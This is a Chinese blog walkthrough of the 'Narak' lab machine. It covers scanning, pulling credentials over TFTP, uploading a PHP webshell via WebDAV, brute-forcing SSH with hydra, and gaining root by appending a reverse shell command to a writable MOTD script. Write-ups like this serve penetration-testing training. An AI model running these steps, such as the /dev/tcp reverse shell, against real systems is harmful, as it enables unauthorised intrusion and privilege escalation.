一.信息搜集
1.主机探测 发现主机的ip地址是 192.168.247.232.端口扫描 nmap -sS -A -p- 192.168.247.23 发现22和80端口
3.漏洞扫描 80 发现/webdav/目录 可以尝试访问下
nmap --script=vuln -p22,80 192.168.247.23
/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录
nikto漏洞扫描 但是并没有发现什么有关信息 nikto -h 192.168.247.23
二.渗透测试+信息搜集
1.web渗透 要用ssh远程登录2.目录扫描
扫描发现了/images和/webdav和/server-status目录,访问后,发现就是开始前面访问的/webdav目录有用,其他的没有什么发现。这就很难搞啊,到目前还是没有什么突破,在目录扫描方面,gobuster 对于目录列举,有些后缀,他默认没有扫描,比如:zip,rar,sql,txt,php等,需要我们手动去添加扫描
gobuster dir -u http://192.168.247.23 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
我们利用gobuster手动对一些特定的后缀进行扫描,发现/tips.txt目录下,有线索
gobuster dir -u http://192.168.247.23 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,sql,txt,php
提示要打开纳拉克的门可以在creds.txt中找到
但是访问不了creds.txt
3.信息搜集+TFTP渗透测试
扫描UDP端口协议,发现可能存在开放了tftp协议 nmap -sU --top-port 20 192.168.247.23
TFTP(Trivial File Transfer Protocol)是一种简单的文件传输协议
既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机
tftp 192.168.247.23
打开后发现是一窜base64编码
进行解码 yamdoot:Swarg
用这个进行登录那个/webdav
登录成功了,但是里面没有什么文件,但是我们可以利用/webdav的客户端管理工具进行上传webshell木马,然后反弹shell
用 davtest测试能上传那些后缀文件以及对应权限
davtest -url http://192.168.247.23/webdav -auth yamdoot:Swarg 发现只有txt php html能够执行
所以,我们需要写一个php的webshell进行上传,然后再利用kali进行监听,然后反弹shell
4.反弹shell
然后再利用一个客户端,把webshell.php上传,此处使用的webdav客户端是cadaver
cadaver http://192.168.247.23/webdav
发现此时多了一个
kali先进行监听,然后再点击webshell.php文件,然后发现反弹shell成功了
三.提权
1.信息搜集发现sudo提权和SUID都没有可以提权的地方
find / -user root -perm -4000 2>/dev/null
cat /etc/crontab查看有没有定时任务执行啥的,发现也是没有
终通过查找可写的文件发现了一些端倪:
find / -writable -type f -not -path “/proc/" -not -path "/sys/” -not -path “/var/*” 2>/dev/null
发现/mnt/hell.sh里面是一个Brainfuck 编程语言的代码,然后/etc/apache2/users.password里面是我们开始登录/webdav的登录凭据
看见是Brainfuck代码 然后进行解码 解密得到一串应该是密码,chitragupt
2.初步提权
我们上面经过信息收集,发现了一个密码,我们现在可以去收集靶机相关的账号,然后利用hydra九头蛇进行爆破ssh远程登录
我们在/home家目录下,看到三个用户,然后在/etc/passwd文件下,看到具有/bin/bash权限的用户,也刚好有这几个,很有可能这几个账户中就有和刚才chitragupt密码匹配ssh的用户
把账号密码分别进行保存,然后再利用hydra九头蛇进行爆破
hydra -L users.txt -P passwd.txt 192.168.247.23 ssh 爆破成功
ssh inferno@192.168.247.23
3.二次提权
sudo提权和SUID提权以及查看定时进程任务都没有发现可以提权的地方
找到了user.txt
查看哪些具有可写权限的文件:
find / -writable -type f -not -path “/proc/" -not -path "/sys/” -not -path “/var/*” 2>/dev/null
重点关注motd相关的文件,我们进入**/etc/update-motd.d/**,然后查看相关文件的权限
后来发现00-header,这个脚本的目的是在登录时向用户显示相关的系统信息。
可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell
把到时候kali监听的反弹shell写入到00-header中,然后我们再利用卡里监听,然后重新ssh登录inferno用户,就可以得到root权限了
echo "bash -c ‘bash -i >& /dev/tcp/192.168.247.20/4444 0>&1’ " >> 00-head
成功拿到shell
欧克完成
标签:shell,webdav,Narak,192.168,提权,247.23,txt From: https://blog.csdn.net/dingxingaq/article/details/144037278